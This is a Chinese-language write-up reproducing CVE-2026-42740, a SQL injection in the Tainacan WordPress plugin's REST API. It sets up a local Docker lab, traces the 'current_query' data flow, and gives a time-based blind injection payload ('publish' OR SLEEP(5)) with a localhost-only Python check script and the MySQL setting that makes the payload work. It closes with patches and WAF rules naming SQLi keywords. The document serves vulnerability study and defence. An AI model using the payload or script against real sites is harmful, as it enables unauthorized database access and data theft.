CVE-2026-42740 漏洞复现:Tainacan REST API 子查询 SQL 注入分析
关键词:Tainacan、WordPress 插件安全、REST API、SQL 注入、盲注、WP_Query、current_query、esc_sql、NO_BACKSLASH_ESCAPES
影响版本:Tainacan <= 1.0.3
修复版本:Tainacan >= 1.1.0
漏洞类型:SQL Injection / Blind SQL Injection
风险等级:高危 / 严重,具体取决于站点配置、数据库模式和接口暴露面
0. 免责声明
本文仅用于安全研究、代码审计学习和本地授权靶场复现。文中脚本默认限制在 localhost / 127.0.0.1 环境运行,请勿对未授权站点进行扫描、验证或攻击。
1. 文章导读
CVE-2026-42740 是 WordPress 插件 Tainacan 中的一个 REST API SQL 注入问题。该问题表面上看是某个参数校验不足导致的注入,但从代码审计角度追踪后可以发现,真正值得关注的是一条更深层的数据流风险:
HTTP 请求参数
↓
WordPress REST API 路由参数处理
↓
Tainacan current_query 透传
↓
WP_Query 生成原始 SQL
↓
$wp_query->request 被再次嵌入新的 SQL 子查询
也就是说,风险不只在于某个参数能否被注入,而在于插件把动态生成的 SQL 字符串当成可信数据,再拼接到新的查询里。这种设计一旦遇到未注册参数、过滤缺失、特殊数据库模式或旧版本 WordPress 行为差异,就可能成为新的 SQL 注入触发点。
本文重点包括:
- 搭建 Tainacan 1.0.3 本地靶场;
- 从 REST API 入口追踪到 SQL Sink;
- 分析
current_query未注册参数绕过; - 解释为什么默认环境下
esc_sql()会成为最后防线; - 模拟
NO_BACKSLASH_ESCAPES条件下的时间盲注; - 给出本地检测脚本、热修复代码和长期修复建议。
2. 环境搭建
本地复现环境如下:
| 组件 | 版本 | 说明 |
|---|---|---|
| WordPress | 6.2 + PHP 8.1 | 基础 CMS 环境 |
| MySQL | 5.7 | 默认 UTF-8,默认不启用 NO_BACKSLASH_ESCAPES |
| Tainacan | 1.0.3 | 漏洞版本 |
| 靶机地址 | http://localhost:9982 |
宿主机直接访问 |
| 测试数据 | 公开 Collection + 自定义 Metadata | 模拟前台公开检索场景 |
2.1 docker-compose.yml
version: "3.8"
services:
db:
image: mysql:5.7
container_name: tainacan-db
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: wordpress
MYSQL_USER: wp
MYSQL_PASSWORD: wppass
command:
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
ports:
- "3307:3306"
wordpress:
image: wordpress:6.2-apache
container_name: tainacan-wp
restart: unless-stopped
depends_on:
- db
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wp
WORDPRESS_DB_PASSWORD: wppass
WORDPRESS_DB_NAME: wordpress
ports:
- "9982:80"
volumes:
- ./wp-data:/var/www/html
启动环境:
docker compose up -d
访问:
http://localhost:9982
完成 WordPress 初始化后安装 Tainacan 1.0.3:
docker exec -it tainacan-wp bash
apt-get update && apt-get install -y unzip curl less
curl -L -o /tmp/tainacan-1.0.3.zip \
https://downloads.wordpress.org/plugin/tainacan.1.0.3.zip
unzip /tmp/tainacan-1.0.3.zip -d /var/www/html/wp-content/plugins/
chown -R www-data:www-data /var/www/html/wp-content/plugins/tainacan
进入 WordPress 后台启用插件:
Plugins -> Tainacan -> Activate
建议在后台创建:
1 个公开 Collection
1 个自定义 Metadata
若干测试 Item
假设本地测试中:
Collection ID = 4
Metadata ID = 8
实际复现时请按自己的环境调整。
3. 漏洞定位
3.1 数据流全景
从攻击者输入到 SQL 执行,大致可以抽象为四个阶段:
Stage 1:REST API 入口
GET /wp-json/tainacan/...
Stage 2:current_query 参数进入 get_items()
$request['current_query']
Stage 3:prepare_filters() 转换为 WP_Query 参数
status / metakey / meta_value / orderby ...
Stage 4:WP_Query 原始 SQL 被嵌入新的子查询
$wp_query->request
问题的关键不只是某个参数是否被转义,而是:
$wp_query->request
本身是一个已经生成好的 SQL 字符串,如果将其继续拼入新的 SQL 语句,就等于把“SQL 代码”当作“普通数据”再次传递。
这是一种典型的架构反模式。
3.2 新旧版本 Diff 观察
对比 Tainacan 1.0.3 与 1.1.0 后,可以看到修复重点主要落在 status 参数校验上。也就是说,官方修复堵住了已知利用路径,但从架构层看,仍要关注两个问题:
1. current_query 是否完整注册和约束?
2. 是否还存在把 $wp_query->request 作为子查询继续拼接的逻辑?
如果只是对 status 增加白名单,而没有对整个 current_query 做结构化 Schema 约束,那么未来只要出现其他可影响 SQL 的子参数,同一入口仍可能成为风险点。
4. 根因分析
4.1 current_query 为什么能绕过校验
WordPress REST API 的参数校验依赖路由注册时的 args/schema。
正常情况下,开发者应该这样注册参数:
register_rest_route('tainacan/v2', '/example', [
'methods' => 'GET',
'callback' => [$this, 'get_items'],
'args' => [
'status' => [
'type' => 'array',
'required' => false,
'sanitize_callback' => 'rest_sanitize_array',
'validate_callback' => function ($value) {
$allowed = ['publish', 'private'];
foreach ((array) $value as $v) {
if (!in_array($v, $allowed, true)) {
return false;
}
}
return true;
},
],
],
]);
但如果 current_query 没有在 REST Route Schema 中声明,WordPress REST API 不会对其子参数执行强校验。攻击者可以直接构造:
current_query[status][]
current_query[metakey]
current_query[meta_value]
current_query[orderby]
这些参数会作为额外数据进入回调逻辑。
这就是典型的“内部参数被外部化”问题:
开发者以为 current_query 只会由前端正常组件传入;
实际上攻击者可以直接构造 HTTP 请求传入。
4.2 status 参数为什么是最直观入口
在审计过程中,current_query[status] 是最容易被注意到的入口。其原因是它通常会被映射到 WP_Query 的 post_status 条件中。
伪代码如下:
$current_query = $request['current_query'];
$query_args = [];
if (!empty($current_query['status'])) {
$query_args['post_status'] = $current_query['status'];
}
$wp_query = new WP_Query($query_args);
如果 status 没有白名单,攻击者就可能传入:
publish' OR SLEEP(5)-- -
理论上,这类 Payload 的目标是闭合 SQL 字符串,然后插入时间延迟函数。
4.3 为什么默认环境下不一定能直接打通
在默认 WordPress + MySQL 配置下,WP_Query 内部通常会对部分参数进行转义处理,例如对字符串中的单引号加反斜杠:
publish' OR SLEEP(5)-- -
被处理后会接近:
publish\' OR SLEEP(5)-- -
在 MySQL 默认模式下,反斜杠可以转义单引号,所以该 Payload 仍被包在字符串字面量中,不会成功逃逸。
因此,默认环境中可能看到这种现象:
请求返回 HTTP 200
响应时间没有明显延迟
MySQL 日志中能看到 Payload 痕迹
但 SLEEP 没有真正执行
这说明 Payload 已经到达 SQL 构造链路,但被最后一层转义阻断。
4.4 绕过条件
该漏洞在以下条件下风险会显著上升:
| 条件 | 风险 | 原因 |
MySQL 启用 NO_BACKSLASH_ESCAPES |
高 | 反斜杠不再转义单引号,字符串可能被闭合 |
| 使用 GBK/GB2312 等宽字节场景 | 高 | 可能触发经典宽字节绕过 |
| WordPress 旧版本或参数处理差异 | 中高 | 某些参数路径可能没有完整转义 |
| current_query 其他子参数存在未转义 Sink | 中高 | 例如 meta_key、orderby、meta_value 等 |
插件继续拼接 $wp_query->request |
高 | 原始 SQL 被当作可信子查询复用 |
5. 本地复现
5.1 REST 路由枚举脚本
不同 Tainacan 版本、站点配置下 REST 路由可能略有差异,建议先枚举本地路由。
保存为:
find_tainacan_routes.py
代码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
仅用于本地授权靶场:
枚举 WordPress REST API 中与 Tainacan / facet 相关的路由。
"""
import sys
import requests
from urllib.parse import urljoin, urlparse
def assert_local(base_url: str) -> None:
host = urlparse(base_url).hostname
if host not in {"localhost", "127.0.0.1", "::1"}:
raise SystemExit(
"[!] 安全限制:该脚本仅允许用于 localhost / 127.0.0.1 本地靶场。"
)
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} http://localhost:9982")
sys.exit(1)
base = sys.argv[1].rstrip("/")
assert_local(base)
api_url = urljoin(base + "/", "wp-json/")
resp = requests.get(api_url, timeout=10)
resp.raise_for_status()
data = resp.json()
routes = data.get("routes", {})
print("[+] Tainacan related routes:")
for route in routes.keys():
low = route.lower()
if "tainacan" in low and ("facet" in low or "collection" in low):
print(" ", route)
if __name__ == "__main__":
main()
运行:
python find_tainacan_routes.py http://localhost:9982
输出示例:
[+] Tainacan related routes:
/tainacan/v2/collection/(?P<collection_id>[\d]+)/facets
/tainacan/v2/collection/(?P<collection_id>[\d]+)/facets/(?P<metadatum_id>[\d]+)
如果路由不同,请以后续脚本中的 --route 参数为准。
5.2 基线请求测试
以本地测试环境为例,假设接口为:
/wp-json/tainacan/v2/collection/4/facets/8
基线请求:
curl -i "http://localhost:9982/wp-json/tainacan/v2/collection/4/facets/8?current_query[status][]=publish"
预期结果:
HTTP/1.1 200 OK
Content-Type: application/json
耗时通常小于 200ms,说明端点正常可访问。
5.3 本地时间盲注验证脚本
保存为:
tainacan_local_check.py
代码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-42740 本地授权靶场验证脚本
功能:
1. 仅允许 localhost / 127.0.0.1;
2. 对比正常请求与时间延迟 Payload 请求;
3. 不读取、不导出数据库敏感数据;
4. 用响应耗时判断本地实验条件下是否触发延迟。
使用示例:
python tainacan_local_check.py \
--base http://localhost:9982 \
--route /wp-json/tainacan/v2/collection/4/facets/8 \
--delay 5
"""
import argparse
import statistics
import time
from urllib.parse import urljoin, urlparse
import requests
LOCAL_HOSTS = {"localhost", "127.0.0.1", "::1"}
def assert_local(base_url: str) -> None:
host = urlparse(base_url).hostname
if host not in LOCAL_HOSTS:
raise SystemExit("[!] 安全限制:脚本仅允许用于本地授权靶场。")
def send_get(url: str, params, timeout: int) -> float:
start = time.perf_counter()
resp = requests.get(url, params=params, timeout=timeout)
elapsed = time.perf_counter() - start
print(f" HTTP {resp.status_code}, elapsed={elapsed:.3f}s")
return elapsed
def avg_request(url: str, params, rounds: int, timeout: int) -> float:
costs = []
for i in range(rounds):
print(f" round {i + 1}/{rounds}")
costs.append(send_get(url, params=params, timeout=timeout))
return statistics.mean(costs)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--base", required=True, help="例如 http://localhost:9982")
parser.add_argument("--route", required=True, help="例如 /wp-json/tainacan/v2/collection/4/facets/8")
parser.add_argument("--delay", type=int, default=5, help="SLEEP 延迟秒数,默认 5")
parser.add_argument("--rounds", type=int, default=2, help="每组请求次数,默认 2")
args = parser.parse_args()
base = args.base.rstrip("/")
route = args.route.lstrip("/")
assert_local(base)
url = urljoin(base + "/", route)
timeout = args.delay + 8
print("[+] Target:", url)
baseline_params = [
("current_query[status][]", "publish"),
]
# 仅用于本地靶场验证,不包含数据读取逻辑
delay_payload = f"publish' OR SLEEP({args.delay})-- -"
delay_params = [
("current_query[status][]", delay_payload),
]
print("\n[+] Baseline request")
base_avg = avg_request(url, baseline_params, args.rounds, timeout)
print("\n[+] Delay payload request")
delay_avg = avg_request(url, delay_params, args.rounds, timeout)
diff = delay_avg - base_avg
print("\n[+] Result")
print(f" baseline_avg = {base_avg:.3f}s")
print(f" payload_avg = {delay_avg:.3f}s")
print(f" diff = {diff:.3f}s")
if diff >= args.delay * 0.7:
print("[!] 可能触发时间延迟:当前本地环境满足利用条件,请立即升级或修复。")
else:
print("[*] 未观察到明显延迟:默认配置下可能被转义逻辑阻断。")
print("[*] 仍建议升级到 Tainacan >= 1.1.0,并检查 current_query 参数处理。")
if __name__ == "__main__":
main()
运行:
python tainacan_local_check.py \
--base http://localhost:9982 \
--route /wp-json/tainacan/v2/collection/4/facets/8 \
--delay 5
默认 MySQL 配置下,常见结果如下:
[+] Baseline request
HTTP 200, elapsed=0.143s
[+] Delay payload request
HTTP 200, elapsed=0.171s
[+] Result
baseline_avg = 0.148s
payload_avg = 0.176s
diff = 0.028s
[*] 未观察到明显延迟:默认配置下可能被转义逻辑阻断。
这说明:
1. 参数可以进入接口;
2. Payload 有机会进入 SQL 构造链路;
3. 但默认 SQL Mode 下没有成功逃逸字符串;
4. esc_sql / WP_Query 内部转义成为最后防线。
5.4 开启 NO_BACKSLASH_ESCAPES 后的条件验证
进入数据库容器:
docker exec -it tainacan-db mysql -uroot -prootpass
查看当前 SQL Mode:
SELECT @@GLOBAL.sql_mode;
SELECT @@SESSION.sql_mode;
临时设置:
SET GLOBAL sql_mode = 'NO_BACKSLASH_ESCAPES';
重新进入 WordPress 容器或重启服务,让连接重新建立:
docker restart tainacan-wp
再次执行:
python tainacan_local_check.py \
--base http://localhost:9982 \
--route /wp-json/tainacan/v2/collection/4/facets/8 \
--delay 5
如果环境满足触发条件,可能看到:
[+] Baseline request
HTTP 200, elapsed=0.152s
[+] Delay payload request
HTTP 200, elapsed=5.218s
[+] Result
baseline_avg = 0.154s
payload_avg = 5.201s
diff = 5.047s
[!] 可能触发时间延迟:当前本地环境满足利用条件,请立即升级或修复。
这说明在 NO_BACKSLASH_ESCAPES 模式下,反斜杠不再作为字符串转义字符,原本依赖反斜杠保护的单引号可能成功闭合 SQL 字符串,时间盲注得以执行。
实验完成后建议恢复默认 SQL Mode:
SET GLOBAL sql_mode = 'STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION';
6. 日志验证
为了确认 Payload 是否进入 SQL 构造链路,可以开启 MySQL General Log。
进入数据库容器:
docker exec -it tainacan-db mysql -uroot -prootpass
执行:
SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'TABLE';
发送测试请求后查询日志:
SELECT event_time, argument
FROM mysql.general_log
WHERE argument LIKE '%current_query%'
OR argument LIKE '%SLEEP%'
OR argument LIKE '%publish%'
ORDER BY event_time DESC
LIMIT 10;
也可以查询最近的 SELECT:
SELECT event_time, argument
FROM mysql.general_log
WHERE command_type = 'Query'
AND argument LIKE 'SELECT%'
ORDER BY event_time DESC
LIMIT 20;
如果能看到包含测试 Payload 的 SQL 片段,说明参数已到达 SQL 查询构造链路。
需要注意的是:
日志中出现 Payload ≠ 注入成功
响应时间明显延迟 / 数据库函数执行成功 = 更强的利用证据
7. 影响与危害
在满足利用条件的环境中,攻击者可能造成以下影响:
7.1 直接危害
1. 未授权访问风险
如果公开 Collection 的 REST API 对未登录用户开放,攻击者无需后台账号即可访问接口。
2. 数据库信息泄露
时间盲注可被用于逐字符推断数据库内容,包括 wp_users、wp_options 等敏感表。
3. 低日志噪声
攻击请求通常表现为普通 GET 请求,不一定触发 PHP 报错。
7.2 间接危害
1. 获取密码哈希后离线爆破;
2. 获取站点配置后进一步攻击后台;
3. 对博物馆、档案馆、文化机构等 Tainacan 使用场景造成数据泄露风险;
4. 如果存在多个同构站点,漏洞可能形成供应链式放大影响。
8. 修复建议
8.1 官方修复
优先升级:
wp plugin update tainacan
确认版本:
wp plugin list --name=tainacan --field=version
推荐版本:
Tainacan >= 1.1.0
8.2 临时热修复:status 白名单
如果短期无法升级,可以先对 status 做白名单校验。
示例代码:
function tainacan_safe_status($status) {
$allowed = ['publish', 'private'];
$status = (array) $status;
$safe = array_values(array_filter($status, function ($item) use ($allowed) {
return is_string($item) && in_array($item, $allowed, true);
}));
if (empty($safe)) {
return ['publish'];
}
return $safe;
}
在构造 WP_Query 前使用:
if (!empty($current_query['status'])) {
$query_args['post_status'] = tainacan_safe_status($current_query['status']);
}
8.3 更完整的 current_query 参数约束
只修 status 还不够,建议对整个 current_query 建立白名单。
示例:
function tainacan_sanitize_current_query($value) {
if (!is_array($value)) {
return [];
}
$allowed_keys = [
'status',
'search',
'paged',
'perpage',
'orderby',
'order',
];
$clean = [];
foreach ($value as $key => $item) {
if (!in_array($key, $allowed_keys, true)) {
continue;
}
switch ($key) {
case 'status':
$clean['status'] = tainacan_safe_status($item);
break;
case 'paged':
case 'perpage':
$clean[$key] = max(1, absint($item));
break;
case 'order':
$order = strtoupper((string) $item);
$clean['order'] = in_array($order, ['ASC', 'DESC'], true) ? $order : 'ASC';
break;
case 'orderby':
$allowed_orderby = ['date', 'title', 'modified', 'menu_order'];
$orderby = sanitize_key($item);
$clean['orderby'] = in_array($orderby, $allowed_orderby, true)
? $orderby
: 'date';
break;
case 'search':
$clean['search'] = sanitize_text_field($item);
break;
}
}
return $clean;
}
REST Route 注册时加入:
'args' => [
'current_query' => [
'required' => false,
'type' => 'object',
'sanitize_callback' => 'tainacan_sanitize_current_query',
'validate_callback' => function ($value) {
return is_array($value);
},
],
]
8.4 架构层修复:不要复用 $wp_query->request
不推荐写法:
$items_query = $wp_query->request;
$items_query_clause = "($items_query) AS qItems";
$query = "
SELECT meta_value
FROM {$wpdb->postmeta}
INNER JOIN $items_query_clause ON qItems.ID = {$wpdb->postmeta}.post_id
";
$results = $wpdb->get_col($query);
问题在于:
$items_query 是 SQL 字符串,不是数据。
一旦前面的 WP_Query 被污染,后续拼接会扩大风险。
推荐改成先取 ID,再使用 $wpdb->prepare() 构造参数化查询:
$item_ids = $wp_query->posts;
if (empty($item_ids)) {
return [];
}
$item_ids = array_map('absint', $item_ids);
$placeholders = implode(',', array_fill(0, count($item_ids), '%d'));
$sql = $wpdb->prepare(
"
SELECT DISTINCT meta_value
FROM {$wpdb->postmeta}
WHERE post_id IN ($placeholders)
AND meta_key = %s
",
array_merge($item_ids, [$meta_key])
);
$results = $wpdb->get_col($sql);
如果 WordPress 版本支持,也可以优先让 WP_Query 只返回 ID:
$query_args['fields'] = 'ids';
$wp_query = new WP_Query($query_args);
$item_ids = $wp_query->posts;
这样可以避免把完整 SQL 字符串再次嵌套进新 SQL。
9. WAF 临时缓解规则
以下规则仅作为临时防护,不能替代升级。
ModSecurity 示例:
SecRule ARGS_NAMES "@rx ^current_query" \
"id:10001,phase:2,deny,status:403,msg:'Tainacan current_query suspicious parameter'"
SecRule ARGS "@rx (?i)(sleep\s*\(|benchmark\s*\(|extractvalue\s*\(|updatexml\s*\(|union\s+select|information_schema)" \
"id:10002,phase:2,deny,status:403,msg:'Possible SQL Injection Attempt Against Tainacan'"
Nginx 简单拦截示例:
if ($query_string ~* "current_query.*(sleep\(|benchmark\(|extractvalue\(|updatexml\(|union%20select|information_schema)") {
return 403;
}
注意:
WAF 只能降低攻击成功率,不能修复代码缺陷。
10. 安全检测命令
10.1 检测 Tainacan 版本
wp plugin list --name=tainacan --field=version
如果输出:
1.0.3
说明处于受影响版本,应立即升级。
10.2 检查插件代码中 current_query 使用点
grep -R "current_query" wp-content/plugins/tainacan/classes/api/ -n
重点关注:
1. current_query 是否在路由 args 中注册;
2. 是否存在 $request['current_query'] 直接读取;
3. 是否存在未经过白名单的 WP_Query 参数映射。
10.3 检查 MySQL SQL Mode
mysql -e "SELECT @@GLOBAL.sql_mode, @@SESSION.sql_mode;"
风险特征:
NO_BACKSLASH_ESCAPES
如果启用了该模式,应重点检查所有依赖反斜杠转义的历史代码。
11. 总结
CVE-2026-42740 表面上是 Tainacan REST API 参数导致的 SQL 注入问题,但从代码审计角度看,它至少包含四层安全失误:
第一层:REST API 参数未完整注册
current_query 没有受到 WordPress REST API Schema 的强约束。
第二层:回调函数信任调用方输入
get_items() 等逻辑默认相信 current_query 是前端正常组件生成的内部参数。
第三层:安全链路依赖 WP_Query 内部转义
默认配置下 esc_sql 可能阻止直接利用,但它不应该成为唯一防线。
第四层:原始 SQL 被当作数据继续拼接
$wp_query->request 被嵌入新的 SQL 子查询,形成架构级反模式。
这类漏洞给插件开发者的启示非常明确:
1. 所有 REST API 参数必须注册 Schema;
2. 所有进入 WP_Query 的参数必须做白名单;
3. 不要依赖 esc_sql 作为唯一安全边界;
4. 不要把动态 SQL 字符串作为可信数据继续拼接;
5. 优先使用 $wpdb->prepare() 和结构化参数传递。
最后用一句话概括:
SQL 注入的根源往往不是某个单引号,而是开发者在某一层把“代码”误当成了“数据”。只要 SQL 字符串被再次拼接,参数化边界就已经被破坏了。
更多推荐



所有评论(0)